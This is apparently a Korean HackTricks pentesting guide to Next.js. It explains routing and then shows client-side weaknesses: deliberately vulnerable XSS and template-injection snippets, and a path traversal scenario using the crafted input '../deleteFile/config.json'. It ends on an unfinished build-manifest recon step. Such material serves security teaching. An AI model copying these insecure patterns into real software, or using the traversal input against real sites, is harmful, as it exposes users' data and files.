NextJS

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Next.js ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ผ๋ฐ˜์ ์ธ ์•„ํ‚คํ…์ฒ˜

์ „ํ˜•์ ์ธ ํŒŒ์ผ ๊ตฌ์กฐ

ํ‘œ์ค€ Next.js ํ”„๋กœ์ ํŠธ๋Š” ๋ผ์šฐํŒ…, API ์—”๋“œํฌ์ธํŠธ, ์ •์  ์ž์‚ฐ ๊ด€๋ฆฌ์™€ ๊ฐ™์€ ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • ํŒŒ์ผ ๋ฐ ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ์ „ํ˜•์ ์ธ ๋ ˆ์ด์•„์›ƒ์ž…๋‹ˆ๋‹ค:

my-nextjs-app/
โ”œโ”€โ”€ node_modules/
โ”œโ”€โ”€ public/
โ”‚   โ”œโ”€โ”€ images/
โ”‚   โ”‚   โ””โ”€โ”€ logo.png
โ”‚   โ””โ”€โ”€ favicon.ico
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ api/
โ”‚   โ”‚   โ””โ”€โ”€ hello/
โ”‚   โ”‚       โ””โ”€โ”€ route.ts
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ”œโ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ about/
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ dashboard/
โ”‚   โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ components/
โ”‚   โ”‚   โ”œโ”€โ”€ Header.tsx
โ”‚   โ”‚   โ””โ”€โ”€ Footer.tsx
โ”‚   โ”œโ”€โ”€ styles/
โ”‚   โ”‚   โ”œโ”€โ”€ globals.css
โ”‚   โ”‚   โ””โ”€โ”€ Home.module.css
โ”‚   โ””โ”€โ”€ utils/
โ”‚       โ””โ”€โ”€ api.ts
โ”œโ”€โ”€ .env.local
โ”œโ”€โ”€ next.config.js
โ”œโ”€โ”€ tsconfig.json
โ”œโ”€โ”€ package.json
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ yarn.lock / package-lock.json

ํ•ต์‹ฌ ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ ํŒŒ์ผ

  • public/: ์ด๋ฏธ์ง€, ํฐํŠธ ๋“ฑ ์ •์  ์ž์‚ฐ์„ ํ˜ธ์ŠคํŒ…ํ•ฉ๋‹ˆ๋‹ค. ์ด ํด๋”์˜ ํŒŒ์ผ๋“ค์€ ๋ฃจํŠธ ๊ฒฝ๋กœ(/)์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  • app/: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํŽ˜์ด์ง€, ๋ ˆ์ด์•„์›ƒ, components, API ๋ผ์šฐํŠธ๋ฅผ ๋‹ด๋Š” ์ค‘์•™ ๋””๋ ‰ํ† ๋ฆฌ์ž…๋‹ˆ๋‹ค. App Router ํŒจ๋Ÿฌ๋‹ค์ž„์„ ์ฑ„ํƒํ•˜์—ฌ ๊ณ ๊ธ‰ ๋ผ์šฐํŒ… ๊ธฐ๋Šฅ๊ณผ server-client component ๋ถ„๋ฆฌ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.
  • app/layout.tsx: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฃจํŠธ ๋ ˆ์ด์•„์›ƒ์„ ์ •์˜ํ•˜๋ฉฐ, ๋ชจ๋“  ํŽ˜์ด์ง€๋ฅผ ๊ฐ์‹ธ์„œ ํ—ค๋”, ํ‘ธํ„ฐ, ๋‚ด๋น„๊ฒŒ์ด์…˜ ๋ฐ” ๊ฐ™์€ ์ผ๊ด€๋œ UI ์š”์†Œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • app/page.tsx: ๋ฃจํŠธ ๋ผ์šฐํŠธ(/)์˜ ์ง„์ž…์  ์—ญํ• ์„ ํ•˜๋ฉฐ ํ™ˆ ํŽ˜์ด์ง€๋ฅผ ๋ Œ๋”๋งํ•ฉ๋‹ˆ๋‹ค.
  • app/[route]/page.tsx: ์ •์  ๋ฐ ๋™์  ๋ผ์šฐํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. app/ ๋‚ด์˜ ๊ฐ ํด๋”๋Š” ๋ผ์šฐํŠธ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ํ•ด๋‹น ํด๋”์˜ page.tsx๊ฐ€ ๊ทธ ๋ผ์šฐํŠธ์˜ ์ปดํฌ๋„ŒํŠธ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • app/api/: API ๋ผ์šฐํŠธ๋ฅผ ํฌํ•จํ•˜๋ฉฐ HTTP ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ์„œ๋ฒ„๋ฆฌ์Šค ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋””๋ ‰ํ† ๋ฆฌ๋Š” ๊ธฐ์กด์˜ pages/api ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
  • app/components/: ์—ฌ๋Ÿฌ ํŽ˜์ด์ง€์™€ ๋ ˆ์ด์•„์›ƒ์—์„œ ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ React ์ปดํฌ๋„ŒํŠธ๋ฅผ ๋ณด๊ด€ํ•ฉ๋‹ˆ๋‹ค.
  • app/styles/: ์ „์—ญ CSS ํŒŒ์ผ๊ณผ ์ปดํฌ๋„ŒํŠธ ๋ฒ”์œ„ ์Šคํƒ€์ผ์„ ์œ„ํ•œ CSS Modules๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • app/utils/: ์œ ํ‹ธ๋ฆฌํ‹ฐ ํ•จ์ˆ˜, ํ—ฌํผ ๋ชจ๋“ˆ ๋ฐ UI๊ฐ€ ์•„๋‹Œ ๋กœ์ง์„ ๊ณต์œ ํ•˜๊ธฐ ์œ„ํ•œ ํŒŒ์ผ๋“ค์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • .env.local: ๋กœ์ปฌ ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์— ํŠนํ™”๋œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ณ€์ˆ˜๋“ค์€ ๋ฒ„์ „ ๊ด€๋ฆฌ์— ์ปค๋ฐ‹๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • next.config.js: webpack ์„ค์ •, ํ™˜๊ฒฝ ๋ณ€์ˆ˜, ๋ณด์•ˆ ์„ค์ • ๋“ฑ Next.js ๋™์ž‘์„ ์ปค์Šคํ„ฐ๋งˆ์ด์ฆˆํ•ฉ๋‹ˆ๋‹ค.
  • tsconfig.json: ํ”„๋กœ์ ํŠธ์˜ TypeScript ์„ค์ •์„ ๊ตฌ์„ฑํ•˜์—ฌ ํƒ€์ž… ๊ฒ€์‚ฌ ๋ฐ ๊ธฐํƒ€ TypeScript ๊ธฐ๋Šฅ์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • package.json: ํ”„๋กœ์ ํŠธ์˜ ์˜์กด์„ฑ, ์Šคํฌ๋ฆฝํŠธ, ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • README.md: ํ”„๋กœ์ ํŠธ์˜ ์„ค์ • ๋ฐฉ๋ฒ•, ์‚ฌ์šฉ ์ง€์นจ ๋“ฑ ๋ฌธ์„œ์™€ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • yarn.lock / package-lock.json: ํ”„๋กœ์ ํŠธ ์˜์กด์„ฑ์„ ํŠน์ • ๋ฒ„์ „์œผ๋กœ ๊ณ ์ •ํ•˜์—ฌ ๋‹ค์–‘ํ•œ ํ™˜๊ฒฝ์—์„œ ์ผ๊ด€๋œ ์„ค์น˜๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.

Client-Side in Next.js

File-Based Routing in the app Directory

app ๋””๋ ‰ํ† ๋ฆฌ๋Š” ์ตœ์‹  Next.js ๋ฒ„์ „์—์„œ ๋ผ์šฐํŒ…์˜ ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค. ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ์ด์šฉํ•ด ๋ผ์šฐํŠธ๋ฅผ ์ •์˜ํ•˜๋ฏ€๋กœ ๋ผ์šฐํŠธ ๊ด€๋ฆฌ๋ฅผ ์ง๊ด€์ ์ด๊ณ  ํ™•์žฅ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

๋ฃจํŠธ ๊ฒฝ๋กœ / ์ฒ˜๋ฆฌ

File Structure:

my-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

Key Files:

  • app/page.tsx: ๋ฃจํŠธ ๊ฒฝ๋กœ /์— ๋Œ€ํ•œ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • app/layout.tsx: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ ˆ์ด์•„์›ƒ์„ ์ •์˜ํ•˜๋ฉฐ ๋ชจ๋“  ํŽ˜์ด์ง€๋ฅผ ๊ฐ์Œ‰๋‹ˆ๋‹ค.

Implementation:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

์„ค๋ช…:

  • ๋ผ์šฐํŠธ ์ •์˜: page.tsx ํŒŒ์ผ์€ app ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ”๋กœ ์•„๋ž˜์— ์žˆ์œผ๋ฉฐ / ๋ผ์šฐํŠธ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค.
  • ๋ Œ๋”๋ง: ์ด ์ปดํฌ๋„ŒํŠธ๋Š” ํ™ˆ ํŽ˜์ด์ง€์˜ ์ฝ˜ํ…์ธ ๋ฅผ ๋ Œ๋”๋งํ•ฉ๋‹ˆ๋‹ค.
  • ๋ ˆ์ด์•„์›ƒ ํ†ตํ•ฉ: HomePage ์ปดํฌ๋„ŒํŠธ๋Š” layout.tsx์— ์˜ํ•ด ๋ž˜ํ•‘๋˜๋ฉฐ, ํ—ค๋”, ํ‘ธํ„ฐ ๋ฐ ๊ธฐํƒ€ ๊ณตํ†ต ์š”์†Œ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋‹ค๋ฅธ ์ •์  ๊ฒฝ๋กœ ์ฒ˜๋ฆฌ

์˜ˆ: /about ๋ผ์šฐํŠธ

ํŒŒ์ผ ๊ตฌ์กฐ:

arduinoCopy codemy-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ about/
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

๊ตฌํ˜„:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

์„ค๋ช…:

  • ๋ผ์šฐํŠธ ์ •์˜: page.tsx ํŒŒ์ผ์€ about ํด๋” ๋‚ด๋ถ€์— ์žˆ์œผ๋ฉฐ /about ๋ผ์šฐํŠธ์— ๋Œ€์‘ํ•ฉ๋‹ˆ๋‹ค.
  • ๋ Œ๋”๋ง: ์ด ์ปดํฌ๋„ŒํŠธ๋Š” about ํŽ˜์ด์ง€์˜ ์ฝ˜ํ…์ธ ๋ฅผ ๋ Œ๋”๋งํ•ฉ๋‹ˆ๋‹ค.
๋™์  ๋ผ์šฐํŠธ

๋™์  ๋ผ์šฐํŠธ๋Š” ๊ฐ€๋ณ€ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒฝ๋กœ๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด, ID๋‚˜ slug ๊ฐ™์€ ๋งค๊ฐœ๋ณ€์ˆ˜์— ๋”ฐ๋ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ฝ˜ํ…์ธ ๋ฅผ ํ‘œ์‹œํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ: /posts/[id] ๋ผ์šฐํŠธ

ํŒŒ์ผ ๊ตฌ์กฐ:

arduinoCopy codemy-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ posts/
โ”‚   โ”‚   โ””โ”€โ”€ [id]/
โ”‚   โ”‚       โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

๊ตฌํ˜„:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

์„ค๋ช…:

  • ๋™์  ์„ธ๊ทธ๋จผํŠธ: [id]๋Š” ๋ผ์šฐํŠธ์—์„œ ๋™์  ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ, URL์—์„œ id ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค.
  • ํŒŒ๋ผ๋ฏธํ„ฐ ์ ‘๊ทผ: params ๊ฐ์ฒด๋Š” ๋™์  ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํฌํ•จํ•˜๋ฉฐ, ์ปดํฌ๋„ŒํŠธ ๋‚ด์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋ผ์šฐํŠธ ๋งค์นญ: /posts/*์™€ ๋งค์นญ๋˜๋Š” ๋ชจ๋“  ๊ฒฝ๋กœ(์˜ˆ: /posts/1, /posts/abc ๋“ฑ)๋Š” ์ด ์ปดํฌ๋„ŒํŠธ์— ์˜ํ•ด ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.
์ค‘์ฒฉ ๋ผ์šฐํŠธ

Next.js๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ฐ˜์˜ํ•˜๋Š” ๊ณ„์ธต์  ๋ผ์šฐํŠธ ๊ตฌ์กฐ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ์ค‘์ฒฉ ๋ผ์šฐํŒ…์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ: /dashboard/settings/profile Route

ํŒŒ์ผ ๊ตฌ์กฐ:

arduinoCopy codemy-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ dashboard/
โ”‚   โ”‚   โ”œโ”€โ”€ settings/
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ profile/
โ”‚   โ”‚   โ”‚       โ””โ”€โ”€ page.tsx
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

๊ตฌํ˜„:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

์„ค๋ช…:

  • ๊นŠ์€ ์ค‘์ฒฉ: dashboard/settings/profile/ ๋‚ด๋ถ€์˜ page.tsx ํŒŒ์ผ์€ /dashboard/settings/profile ๊ฒฝ๋กœ์— ๋Œ€์‘ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณ„์ธต ๊ตฌ์กฐ ๋ฐ˜์˜: ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ์กฐ๋Š” URL ๊ฒฝ๋กœ๋ฅผ ๋ฐ˜์˜ํ•˜์—ฌ ์œ ์ง€๋ณด์ˆ˜์„ฑ๊ณผ ๋ช…ํ™•์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.
Catch-All ๋ผ์šฐํŠธ

Catch-All ๋ผ์šฐํŠธ๋Š” ์—ฌ๋Ÿฌ ์ค‘์ฒฉ ์„ธ๊ทธ๋จผํŠธ๋‚˜ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ๊ฒฝ๋กœ๋ฅผ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋ผ์šฐํŠธ ์ฒ˜๋ฆฌ์— ์œ ์—ฐ์„ฑ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ: /* ๋ผ์šฐํŠธ

ํŒŒ์ผ ๊ตฌ์กฐ:

my-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ [...slug]/
โ”‚   โ”‚   โ””โ”€โ”€ page.tsx
โ”‚   โ”œโ”€โ”€ layout.tsx
โ”‚   โ””โ”€โ”€ page.tsx
โ”œโ”€โ”€ public/
โ”œโ”€โ”€ next.config.js
โ””โ”€โ”€ ...

๊ตฌํ˜„:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

์„ค๋ช…:

  • Catch-All Segment: [...slug]๋Š” ๋‚˜๋จธ์ง€ ๋ชจ๋“  ๊ฒฝ๋กœ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋ฐฐ์—ด๋กœ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค.
  • Usage: ๋™์  ๋ผ์šฐํŒ… ์‹œ๋‚˜๋ฆฌ์˜ค(์˜ˆ: ์‚ฌ์šฉ์ž ์ƒ์„ฑ ๊ฒฝ๋กœ, ์ค‘์ฒฉ ์นดํ…Œ๊ณ ๋ฆฌ ๋“ฑ)๋ฅผ ์ฒ˜๋ฆฌํ•  ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • Route Matching: /anything/here, /foo/bar/baz ๊ฐ™์€ ๊ฒฝ๋กœ๋“ค์ด ์ด ์ปดํฌ๋„ŒํŠธ์— ์˜ํ•ด ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

์ž ์žฌ์ ์ธ ํด๋ผ์ด์–ธํŠธ ์ธก ์ทจ์•ฝ์ 

Next.js๊ฐ€ ์•ˆ์ „ํ•œ ๊ธฐ๋ฐ˜์„ ์ œ๊ณตํ•˜์ง€๋งŒ, ๋ถ€์ ์ ˆํ•œ ์ฝ”๋”ฉ ๊ด€ํ–‰์€ ์ทจ์•ฝ์ ์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์š” ํด๋ผ์ด์–ธํŠธ ์ธก ์ทจ์•ฝ์ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

Cross-Site Scripting (XSS)

XSS ๊ณต๊ฒฉ์€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹ ๋ขฐ๋œ ์›น์‚ฌ์ดํŠธ์— ์ฃผ์ž…๋  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ํƒˆ์ทจํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•ด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

์ทจ์•ฝํ•œ ์ด์œ : dangerouslySetInnerHTML์„ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ž…๋ ฅ๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Client-Side Template Injection

์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํ…œํ”Œ๋ฆฟ์—์„œ ์ ์ ˆํžˆ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์„ ๋•Œ ๋ฐœ์ƒํ•˜๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ํ…œํ”Œ๋ฆฟ์ด๋‚˜ ํ‘œํ˜„์‹์„ ์ฃผ์ž…ํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

์ทจ์•ฝํ•œ ์ด์œ : template ๋˜๋Š” data์— ์•…์˜์ ์ธ ๋‚ด์šฉ์ด ํฌํ•จ๋œ ๊ฒฝ์šฐ ์˜๋„์น˜ ์•Š์€ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Client Path Traversal

์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ํด๋ผ์ด์–ธํŠธ ์ธก ๊ฒฝ๋กœ๋ฅผ ์กฐ์ž‘ํ•ด ์˜๋„ํ•˜์ง€ ์•Š์€ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ์ทจ์•ฝ์ ์ด๋ฉฐ, ์˜ˆ๋กœ๋Š” Cross-Site Request Forgery (CSRF)๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์„œ๋ฒ„์˜ ํŒŒ์ผ์‹œ์Šคํ…œ์„ ๊ฒจ๋ƒฅํ•˜๋Š” server-side path traversal๊ณผ ๋‹ฌ๋ฆฌ, CSPT๋Š” ํด๋ผ์ด์–ธํŠธ ์ธก ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์•…์šฉํ•ด ํ•ฉ๋ฒ•์ ์ธ API ์š”์ฒญ์„ ์•…์˜์  ์—”๋“œํฌ์ธํŠธ๋กœ ์žฌ์šฐํšŒํ•˜๋Š” ๋ฐ ์ดˆ์ ์„ ๋งž์ถฅ๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ:

Next.js ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‚ฌ์šฉ์ž์—๊ฒŒ ํŒŒ์ผ ์—…๋กœ๋“œ ๋ฐ ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์šด๋กœ๋“œ ๊ธฐ๋Šฅ์€ ํด๋ผ์ด์–ธํŠธ ์ธก์— ๊ตฌํ˜„๋˜์–ด ์žˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค์šด๋กœ๋“œํ•  ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค

  1. ๊ณต๊ฒฉ์ž์˜ ๋ชฉํ‘œ: CSRF ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ filePath๋ฅผ ์กฐ์ž‘ํ•ด ์ค‘์š”ํ•œ ํŒŒ์ผ(์˜ˆ: admin/config.json)์„ ์‚ญ์ œ.
  2. CSPT ์•…์šฉ:
  • ์•…์˜์  ์ž…๋ ฅ: ๊ณต๊ฒฉ์ž๋Š” ../deleteFile/config.json ๊ฐ™์€ ์กฐ์ž‘๋œ filePath๋ฅผ ํฌํ•จํ•œ URL์„ ๋งŒ๋“ ๋‹ค.
  • ๊ฒฐ๊ณผ API ํ˜ธ์ถœ: ํด๋ผ์ด์–ธํŠธ ์ธก ์ฝ”๋“œ๊ฐ€ /api/files/../deleteFile/config.json๋กœ ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค.
  • ์„œ๋ฒ„ ์ฒ˜๋ฆฌ: ์„œ๋ฒ„๊ฐ€ filePath๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š์œผ๋ฉด ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์„ ์‚ญ์ œํ•˜๊ฑฐ๋‚˜ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค.
  1. CSRF ์‹คํ–‰:
  • ์กฐ์ž‘๋œ ๋งํฌ: ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์—๊ฒŒ ๋งํฌ๋ฅผ ์ „์†กํ•˜๊ฑฐ๋‚˜ ์กฐ์ž‘๋œ filePath๋กœ ๋‹ค์šด๋กœ๋“œ ์š”์ฒญ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•œ๋‹ค.
  • ๊ฒฐ๊ณผ: ํ”ผํ•ด์ž๊ฐ€ ๋ฌด์˜์‹์ ์œผ๋กœ ๋™์ž‘์„ ์‹คํ–‰ํ•ด ๋น„์ธ๊ฐ€ ํŒŒ์ผ ์ ‘๊ทผ ๋˜๋Š” ์‚ญ์ œ๋กœ ์ด์–ด์ง.

Recon: _buildManifest๋ฅผ ํ†ตํ•œ static export ๊ฒฝ๋กœ ํƒ์ƒ‰

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and routeโ†’chunk mapping there enumerate every prerendered page without brute force.

  • ๋ฃจํŠธ ์‘๋‹ต(์ข…์ข… ํ•˜๋‹จ์— ํ‘œ์‹œ๋จ) ๋˜๋Š” <script> ํƒœ๊ทธ์—์„œ ๋กœ๋“œ๋˜๋Š” /_next/static/<buildId>/...๋กœ๋ถ€ํ„ฐ buildId๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค.
  • manifest๋ฅผ ๊ฐ€์ ธ์™€ ๊ฒฝ๋กœ๋ฅผ ์ถ”์ถœํ•œ๋‹ค:
